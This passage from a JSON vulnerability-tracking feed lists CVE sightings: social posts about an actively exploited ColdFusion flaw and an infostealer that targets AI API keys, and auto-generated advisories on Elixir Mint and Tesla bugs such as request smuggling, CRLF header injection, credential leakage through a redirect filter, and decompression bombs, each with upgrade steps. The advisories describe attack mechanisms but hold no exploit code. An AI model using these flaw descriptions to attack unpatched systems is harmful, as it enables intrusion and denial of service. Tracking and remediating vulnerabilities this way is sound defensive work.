disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:33.255451Z"}, {"uuid": "a0b3583f-a230-483d-aafd-27ea86c78eb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5tnt2h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:33.677003Z"}, {"uuid": "b60ff761-28a5-4cdc-b90f-10db91b86c11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mq7u47666s2y", "content": "\ud83c\udf10 Our research team found two authentication flaws in phpBB, one buried in the code for over a decade. There's a working PoC for each, and the Network Scanner now detects the most critical one - CVE-2026-48611 (9.4).", "creation_timestamp": "2026-07-09T14:34:10.372998Z"}, {"uuid": "92696736-a638-4105-a14e-fbfeafa16bc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48737", "type": "published-proof-of-concept", "source": "https://github.com/pyload/pyload/security/advisories/GHSA-m5x5-28jr-gpjj", "content": "", "creation_timestamp": "2026-07-09T14:35:19.737650Z"}, {"uuid": "27620b13-566b-45bf-9fed-b6a84bbd15db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48987", "type": "published-proof-of-concept", "source": "https://github.com/pyload/pyload/security/advisories/GHSA-c2f9-4mc8-j656", "content": "", "creation_timestamp": "2026-07-09T14:35:17.476949Z"}, {"uuid": "8fb33123-eeb4-4bfa-8d0a-df7a686c79a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-48908", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ced56c0c-e06c-4fb9-8643-6152b5a79a82", "content": "", "creation_timestamp": "2026-07-09T14:58:44.017257Z"}, {"uuid": "8ec13f45-d017-4723-a8ce-a1edc99a975d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mq7zkq2cwr2d", "content": "If your organization runs Adobe $ADBE ColdFusion, a maximum-severity flaw is being exploited right now. CISA added CVE-2026-48282, a CVSS 10.0 path traversal bug, to its Known Exploited Vulnerabilities catalog, one of four actively exploited flaws flagged this week. Per The Hacker News.", "creation_timestamp": "2026-07-09T16:11:46.172704Z"}, {"uuid": "0e07fe92-1134-48f7-a5c6-b9628dd474f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4832", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-03", "content": "", "creation_timestamp": "2026-07-09T16:15:03.405033Z"}, {"uuid": "928ad704-5f1d-4fd2-b3a1-53f3b6e2fcaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48931", "type": "seen", "source": "https://bsky.app/profile/u11g.com/post/3mqa4iyfwoz2y", "content": "The distinction between routine hardening and a CVE matters \u2014 mis-classified advisories create unnecessary panic and can break more downstream users than the original vulnerability ever would.\n\nhttps://adventures.nodeland.dev/archive/cve-2026-48931-shouldnt-have-been-a-cve", "creation_timestamp": "2026-07-09T17:04:29.033759Z"}, {"uuid": "fcdab8d5-693c-4468-9b1f-23dce9394a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/hackmag.com/post/3mqahymyywr2n", "content": "\ud83d\udfe2 Critical Adobe ColdFusion bug already exploited in attacks\n\n\ud83d\udde8\ufe0f Attackers began exploiting a fresh vulnerability in Adobe ColdFusion (CVE-2026-48282) about two hours after information \u2026\n\n#news", "creation_timestamp": "2026-07-09T20:30:05.894473Z"}, {"uuid": "ae48c4f3-87e7-4624-bc6f-320dd5568577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/hakksaww.bsky.social/post/3mqajsgwhfh2p", "content": "SimpleHelp CVE-2026-48558 is today's headline. We ran the full chain July 1: OIDC forgery \u2192 TaskWeaver \u2192 Djinn, the AI-key stealer. Primary catch: BlackPoint Cyber's APG. https://www.dugganusa.com/post/a-new-infostealer-is-hunting-your-claude-gemini-and-codex-keys-it-gets-in-through-your-help-desk", "creation_timestamp": "2026-07-09T21:02:24.477183Z"}, {"uuid": "bb0923b0-7d23-472e-bd5a-53ee5e8b8835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48323", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mshhv2yyee2r", "content": "\ud83d\udccc CVE-2026-48323 - Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result i... https://www.cyberhub.blog/cves/CVE-2026-48323", "creation_timestamp": "2026-08-07T02:07:08.176622Z"}, {"uuid": "9ab3bf01-2f49-4fa1-873d-d968a9e7a25d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48862", "type": "seen", "source": "https://gist.github.com/alon710/be308f55a57246cb8ce657d04b30b2e9", "content": "# CVE-2026-48862: CVE-2026-48862: Unbounded Resource Allocation via HTTP/2 PUSH_PROMISE Flooding in Mint\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-09\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48862\n\n## Summary\nAn allocation of resources without limits or throttling vulnerability in the Elixir Mint HTTP client library allows malicious HTTP/2 servers to trigger memory exhaustion and application denial of service. The flaw exists because Mint fails to validate server-push concurrency limits during the receipt of PUSH_PROMISE frames, deferring validation to the HEADERS phase. This allows a server to reserve an unlimited number of streams in the client's memory map.\n\n## TL;DR\nA flaw in Elixir's Mint HTTP client allows hostile HTTP/2 servers to exhaust client memory by flooding PUSH_PROMISE frames without sending headers. This triggers unbounded state allocation in the Erlang VM and crashes the client.\n\n## Technical Details\n\n- **CWE ID**: CWE-770 (Allocation of Resources Without Limits or Throttling)\n- **Attack Vector**: Network\n- **CVSS Score**: 8.2 (High)\n- **EPSS Score**: 0.00384 (30.40th percentile)\n- **Impact**: Denial of Service (Memory Exhaustion / Crash)\n- **Exploit Status**: none (No public weaponized exploits)\n- **KEV Status**: Not listed\n\n## Affected Systems\n\n- Mint HTTP Client (Elixir)\n- **mint**: >= 0.2.0, < 1.9.0 (Fixed in: `1.9.0`)\n\n## Mitigation\n\n- Disable HTTP/2 Server Push explicitly in connection parameters when connecting to untrusted third-party endpoints.\n- Upgrade the Mint dependency in Hex to version 1.9.0 or higher.\n- Implement process-level memory limits within the Erlang VM to prevent single-process leaks from crashing the entire virtual machine.\n\n**Remediation Steps:**\n1. Open the mix.exs file in the Elixir project.\n2. Locate the :mint dependency definition and update the version string to '>= 1.9.0'.\n3. Run the command 'mix deps.get' to fetch and compile the updated library.\n4. Verify the update by confirming that 'mix.lock' references version 1.9.0 or later.\n5. Redeploy the application to production.\n\n## References\n\n- [GitHub Security Advisory: GHSA-g586-ccqf-7x4r](https://github.com/elixir-mint/mint/security/advisories/GHSA-g586-ccqf-7x4r)\n- [Official Patch Commit](https://github.com/elixir-mint/mint/commit/70b97b6a5209fb288b0e04d8e657dda26c59de67)\n- [Erlang Ecosystem Foundation Advisory](https://cna.erlef.org/cves/CVE-2026-48862.html)\n- [OSV Database Entry](https://osv.dev/vulnerability/EEF-CVE-2026-48862)\n- [NVD Details Page](https://nvd.nist.gov/vuln/detail/CVE-2026-48862)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48862) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-09T23:42:44.317323Z"}, {"uuid": "c7947b91-d744-42a4-8201-55b8225d5424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mqatq6f2od2x", "content": "The latest update for #Indusface includes \"CVE-2026-48282: ColdFusion #RDS Vulnerability Actively Exploited\" and \"CERT-In #AISecurity Blueprint 2026: Remediation Timelines Every Indian Organisation Should Know\".\n \n#cybersecurity #infosec https://opsmtrs.com/3ySs2VF", "creation_timestamp": "2026-07-10T00:00:06.084485Z"}, {"uuid": "1e76820b-d6a0-4ebc-b0ad-c5c8cb4ec8cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mstelly3tl2b", "content": "CVE-2026-48362 - coldfusion 2025\nAn attacker can run unauthorized code on your ColdFusion server without needing user interaction, potentially causing damage or disruption. This vulnerability affects\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#coldfusion2025 #adobe #CVE #infosec", "creation_timestamp": "2026-08-11T19:40:04.277830Z"}, {"uuid": "5a46a758-3d37-4371-9beb-af803b293551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48862", "type": "published-proof-of-concept", "source": "https://github.com/elixir-mint/mint/security/advisories/GHSA-g586-ccqf-7x4r", "content": "", "creation_timestamp": "2026-07-10T00:35:14.297605Z"}, {"uuid": "f1b7b8dc-068a-40d1-bd8d-11d3480b102e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48861", "type": "published-proof-of-concept", "source": "https://github.com/elixir-mint/mint/security/advisories/GHSA-2pg6-44cx-c49v", "content": "", "creation_timestamp": "2026-07-10T00:35:21.505343Z"}, {"uuid": "459e27ca-dd5a-4ef3-8dff-213b8315808e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48598", "type": "seen", "source": "https://gist.github.com/alon710/5cf8fa01fdabad32641db4fb6525028d", "content": "# CVE-2026-48598: CVE-2026-48598: Multipart Part Header Injection and Request Smuggling in elixir-tesla\n\n> **CVSS Score:** 2.1\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48598\n\n## Summary\nAn Improper Encoding or Escaping of Output vulnerability (CWE-116) in elixir-tesla allowed unauthenticated remote code execution or request smuggling via unescaped Content-Disposition parameters in multipart form-data requests.\n\n## TL;DR\nUnescaped carriage returns, line feeds, and double-quotes in elixir-tesla's multipart module allow multipart header injection and request smuggling.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-116\n- **Attack Vector**: Local\n- **CVSS v4.0 Score**: 2.1 (Low)\n- **EPSS Score**: 0.00143\n- **Impact**: Low Subsequent System Integrity\n- **Exploit Status**: Proof of Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- elixir-tesla\n- **tesla**: >= 0.8.0, < 1.18.3 (Fixed in: `1.18.3`)\n\n## Mitigation\n\n- Upgrade the elixir-tesla dependency to version 1.18.3 or newer\n- Filter user-controlled input values to remove carriage returns, line feeds, and double-quote characters before parsing\n- Wrap dynamic multipart compilation steps in exception-handling blocks to prevent application crashes\n\n**Remediation Steps:**\n1. Open your mix.exs configuration file\n2. Locate the {:tesla, \"...\"} dependency line and update the version requirement to >= 1.18.3\n3. Execute mix deps.get to fetch the patched version of the package\n4. Run your test suite to verify no uncaught ArgumentError exceptions occur during multipart serialization\n\n## References\n\n- [CVE-2026-48598 on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-48598)\n- [GHSA-28jh-g32x-v9v4 Advisory on GitHub](https://github.com/elixir-tesla/tesla/security/advisories/GHSA-28jh-g32x-v9v4)\n- [Erlang Ecosystem Foundation CNA Advisory](https://cna.erlef.org/cves/CVE-2026-48598.html)\n- [OSV Registry Record for CVE-2026-48598](https://osv.dev/vulnerability/EEF-CVE-2026-48598)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48598) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T00:42:13.295577Z"}, {"uuid": "c802894e-802b-4a12-aa18-46a13e92a91e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48597", "type": "seen", "source": "https://gist.github.com/alon710/c57bf8187a7fb4d8c5e9247f7948a17b", "content": "# CVE-2026-48597: CVE-2026-48597: Denial of Service via Atom Table Exhaustion in Elixir Tesla Client (Mint Adapter)\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48597\n\n## Summary\nCVE-2026-48597 is a high-severity Denial of Service (DoS) vulnerability in the Elixir HTTP client library Tesla (specifically involving the Mint adapter) that allows an unauthenticated remote attacker to cause an unrecoverable crash of the Erlang Virtual Machine (BEAM). The flaw arises from the dynamic conversion of untrusted URL schemes into Erlang atoms without validation, leading to global atom table exhaustion.\n\n## TL;DR\nA high-severity Denial of Service vulnerability in the Elixir Tesla HTTP client (using the Mint adapter) allows remote, unauthenticated attackers to crash the Erlang VM by submitting arbitrary URL schemes that exhaust the non-garbage-collected atom table.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-770\n- **Attack Vector**: Network\n- **CVSS v4.0 Score**: 8.2 (High)\n- **EPSS Score**: 0.00301 (0.30%)\n- **Exploit Status**: Proof of Concept (poc)\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- elixir-tesla (tesla Hex package)\n- **tesla**: >= 1.3.0, < 1.18.3 (Fixed in: `1.18.3`)\n\n## Mitigation\n\n- Upgrade the tesla library to version 1.18.3 or later to enforce scheme allow-listing.\n- Validate and sanitize user-supplied URLs before passing them to the Tesla client to ensure they only contain approved scheme strings like 'http' or 'https'.\n- Disable the automatic following of redirects when interacting with untrusted hosts, or intercept redirect URLs to filter out unexpected schemes.\n- Switch to an alternative HTTP adapter (such as Hackney or Finch) that does not convert dynamic request metadata into atoms.\n\n**Remediation Steps:**\n1. Open your Elixir project's mix.exs file.\n2. Locate the {:tesla, ...} dependency definition.\n3. Update the version constraint to '~> 1.18.3' or higher.\n4. Run 'mix deps.update tesla' in your terminal to fetch and compile the patched version.\n5. Deploy the updated application to production and monitor the VM's atom table count to verify stability.\n\n## References\n\n- [GitHub Security Advisory GHSA-h74c-q9j7-mpcm](https://github.com/elixir-tesla/tesla/security/advisories/GHSA-h74c-q9j7-mpcm)\n- [Fix Commit on GitHub](https://github.com/elixir-tesla/tesla/commit/4699c3cb3e2fd6078f99f45f11cf7466aeedbf0e)\n- [Erlang Ecosystem Foundation Advisory](https://cna.erlef.org/cves/CVE-2026-48597.html)\n- [OSV Ecosystem Advisory Record](https://osv.dev/vulnerability/EEF-CVE-2026-48597)\n- [CVE.org Official Record](https://www.cve.org/CVERecord?id=CVE-2026-48597)\n- [NVD Vulnerability Details](https://nvd.nist.gov/vuln/detail/CVE-2026-48597)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48597) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T01:12:43.592256Z"}, {"uuid": "80d2327d-377f-461b-85ac-b6917b7aea7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48595", "type": "seen", "source": "https://gist.github.com/alon710/34fe998f34bdbbf866bd428a21589671", "content": "# CVE-2026-48595: CVE-2026-48595: Cross-Origin Credential Leakage in Elixir Tesla Client via Case-Sensitive Redirect Filter Bypass\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48595\n\n## Summary\nA high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.\n\n## TL;DR\nCase-sensitive header filtering in Tesla's FollowRedirects middleware fails to strip credentials like 'Authorization' during cross-origin redirects if they contain uppercase characters, leading to token leakage to untrusted hosts.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-178\n- **Attack Vector**: Network (Remote)\n- **CVSS v4 Score**: 8.2 (High)\n- **EPSS Score**: 0.00396 (0.40%)\n- **Exploit Status**: Proof of Concept (PoC) Publicly Available\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- Elixir systems integrating the elixir-tesla/tesla library with active follow-redirect modules.\n- **tesla**: >= 1.4.0, < 1.18.3 (Fixed in: `1.18.3`)\n\n## Mitigation\n\n- Upgrade the elixir-tesla/tesla dependency to version 1.18.3 or greater.\n- Normalize all outgoing HTTP header keys to lowercase at the application layer prior to dispatching requests.\n- Sanitize client-provided redirection inputs to avoid cross-origin redirection routes.\n\n**Remediation Steps:**\n1. Open your project's mix.exs configuration file.\n2. Locate the {:tesla, ...} dependency definition.\n3. Modify the version constraint to requiring '~> 1.18.3' or greater.\n4. Execute 'mix deps.get' in your shell to fetch the updated packages.\n5. Rebuild and run tests to ensure no regression occurs.\n\n## References\n\n- [GitHub Security Advisory - GHSA-9m9w-gxf7-rh8m](https://github.com/elixir-tesla/tesla/security/advisories/GHSA-9m9w-gxf7-rh8m)\n- [CNA EEF Advisory Record](https://cna.erlef.org/cves/CVE-2026-48595.html)\n- [OSV Entry](https://osv.dev/vulnerability/EEF-CVE-2026-48595)\n- [CVE.org Record Database](https://www.cve.org/CVERecord?id=CVE-2026-48595)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48595) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T01:41:47.998773Z"}, {"uuid": "37c15291-a6fe-4a9f-8df9-03f4ecc28f94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48316", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqb2tcjfsr26", "content": "\ud83d\udccc CVE-2026-48316 - ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code executi... https://www.cyberhub.blog/cves/CVE-2026-48316", "creation_timestamp": "2026-07-10T02:07:07.216005Z"}, {"uuid": "68072a44-577a-4dbb-a687-2d0ec520c1cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48594", "type": "seen", "source": "https://gist.github.com/alon710/771904cdd1d35750b64c7a038f4ce112", "content": "# CVE-2026-48594: CVE-2026-48594: Decompression Bomb Denial of Service in Elixir Tesla HTTP Client\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48594\n\n## Summary\nAn improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.\n\n## TL;DR\nUnrestricted decompression and recursive codec handling in Tesla's decompression middleware allow remote servers to trigger heap exhaustion and BEAM VM crashes via tiny, highly compressed response payloads.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-409\n- **Attack Vector**: Network\n- **CVSS Score**: 8.2 (High)\n- **EPSS Score**: 0.00329 (Percentile: 24.87%)\n- **Impact**: Denial of Service (OOM Crash)\n- **Exploit Status**: Theoretical / Patch Analysis\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Elixir Applications deploying Tesla client pipelines with DecompressResponse or Compression middleware active.\n- **tesla**: >= 0.6.0, < 1.18.3 (Fixed in: `1.18.3`)\n\n## Mitigation\n\n- Upgrade Tesla dependency to 1.18.3 or higher.\n- Enforce mandatory :max_body_size limits in middleware options.\n- Avoid handling decompression of external data with unconstrained endpoints.\n- Deploy network-level HTTP header filtering to drop stacked Content-Encodings.\n\n**Remediation Steps:**\n1. Open your project mix.exs file and locate the :tesla dependency.\n2. Update the version constraint to {:tesla, \"~> 1.18.3\"} or higher.\n3. Run mix deps.get to download and lock the updated version.\n4. Locate modules utilizing Tesla.Middleware.DecompressResponse or Tesla.Middleware.Compression.\n5. Append max_body_size:  configuration parameter.\n6. Re-compile and run test suites to ensure integration compatibility.\n\n## References\n\n- [GitHub Advisory GHSA-mc85-72gr-vm9f](https://github.com/elixir-tesla/tesla/security/advisories/GHSA-mc85-72gr-vm9f)\n- [Official Fix Commit](https://github.com/elixir-tesla/tesla/commit/340f75b5d191dc747ef7ac6365bd002d1cd55a9d)\n- [CVE-2026-48594 Record](https://www.cve.org/CVERecord?id=CVE-2026-48594)\n- [NVD CVE-2026-48594 Details](https://nvd.nist.gov/vuln/detail/CVE-2026-48594)\n- [EEF/CNA Advisory Portal](https://cna.erlef.org/cves/CVE-2026-48594.html)\n- [OSV Entry for EEF-CVE-2026-48594](https://osv.dev/vulnerability/EEF-CVE-2026-48594)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48594) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T02:12:08.091772Z"}, {"uuid": "67d24b1a-6ce4-4822-a695-a7c1e84b091e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48598", "type": "published-proof-of-concept", "source": "https://github.com/elixir-tesla/tesla/security/advisories/GHSA-28jh-g32x-v9v4", "content": "", "creation_timestamp": "2026-07-10T02:35:03.650983Z"}, {"uuid": "1f84357d-02eb-4ada-9281-3de1d15ceb64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48597", "type": "published-proof-of-concept", "source": "https://github.com/elixir-tesla/tesla/security/advisories/GHSA-h74c-q9j7-mpcm", "content": "", "creation_timestamp": "2026-07-10T02:35:05.931939Z"}, {"uuid": "b8566816-2aef-49ae-b52b-116172ae69a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48595", "type": "published-proof-of-concept", "source": "https://github.com/elixir-tesla/tesla/security/advisories/GHSA-9m9w-gxf7-rh8m", "content": "", "creation_timestamp": "2026-07-10T02:35:08.163163Z"}, {"uuid": "1ee962a2-bddc-47ac-aeae-e81b5a5aa976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48594", "type": "published-proof-of-concept", "source": "https://github.com/elixir-tesla/tesla/security/advisories/GHSA-mc85-72gr-vm9f", "content": "", "creation_timestamp": "2026-07-10T02:35:10.408608Z"}, {"uuid": "4293cffc-b3e3-4273-87bf-e6e70407b30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48596", "type": "published-proof-of-concept", "source": "https://github.com/elixir-tesla/tesla/security/advisories/GHSA-q7jx-v53g-848w", "content": "", "creation_timestamp": "2026-07-10T02:35:12.655745Z"}, {"uuid": "74992f22-4473-4b13-baaf-4af5f2077654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48596", "type": "seen", "source": "https://gist.github.com/alon710/c858490dcced6d8c05b3d0f0cec528f1", "content": "# CVE-2026-48596: CVE-2026-48596: Improper Neutralization of CRLF Sequences in Elixir Tesla Multipart HTTP Client\n\n> **CVSS Score:** 2.1\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48596\n\n## Summary\nCVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.\n\n## TL;DR\nAn HTTP request/response splitting vulnerability in elixir-tesla allowed unauthenticated remote attackers to inject arbitrary headers or perform HTTP request smuggling by supplying CRLF characters to the Tesla.Multipart.add_content_type_param/2 function.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-113 (Improper Neutralization of CRLF Sequences)\n- **Attack Vector**: Local/Remote via application integration pattern\n- **CVSS v4.0 Score**: 2.1 (Low)\n- **EPSS Score**: 0.0017 (Percentile: 6.66%)\n- **Impact**: HTTP Request Splitting and Header Injection\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Elixir applications utilizing the elixir-tesla HTTP client library with user-provided parameters forwarded directly to the multipart boundary or charset configuration APIs.\n- **tesla**: from 0.8.0 before 1.18.3 (Fixed in: `1.18.3`)\n\n## Mitigation\n\n- Upgrade to version 1.18.3 or higher of the tesla hex package.\n- Sanitize user-provided values passed to add_content_type_param/2 by explicitly stripping or rejecting carriage returns, line feeds, and semicolons.\n- Implement static analysis checks to detect unvalidated parameters passing from entry-points into Tesla Multipart constructs.\n\n**Remediation Steps:**\n1. Open your application's `mix.exs` configuration file.\n2. Locate the `tesla` dependency declaration in the `deps/0` list.\n3. Update the version constraint to `{:tesla, \"~> 1.18.3\"}`.\n4. Run `mix deps.update tesla` to download and lock the secured package version.\n5. Run `mix test` to confirm that standard multipart behavior remains functional.\n\n## References\n\n- [GitHub Security Advisory GHSA-q7jx-v53g-848w](https://github.com/elixir-tesla/tesla/security/advisories/GHSA-q7jx-v53g-848w)\n- [Fix Commit](https://github.com/elixir-tesla/tesla/commit/23601edac5d22ba9407b427967b5bdbda201aec2)\n- [Erlang Ecosystem Foundation Advisory details](https://cna.erlef.org/cves/CVE-2026-48596.html)\n- [OSV Database Record](https://osv.dev/vulnerability/EEF-CVE-2026-48596)\n- [NVD Vulnerability Record](https://nvd.nist.gov/vuln/detail/CVE-2026-48596)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-48596)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48596) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T02:42:38.354642Z"}, {"uuid": "221f584d-ff7e-4660-87e8-eb90362ecd48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48861", "type": "seen", "source": "https://gist.github.com/alon710/894d931a4bc3b7f3c7f80c92512208e5", "content": "# CVE-2026-48861: CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint\n\n> **CVSS Score:** 2.1\n> **Published:** 2026-07-09\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48861\n\n## Summary\nCVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.\n\n## TL;DR\nA CRLF injection vulnerability in Elixir Mint 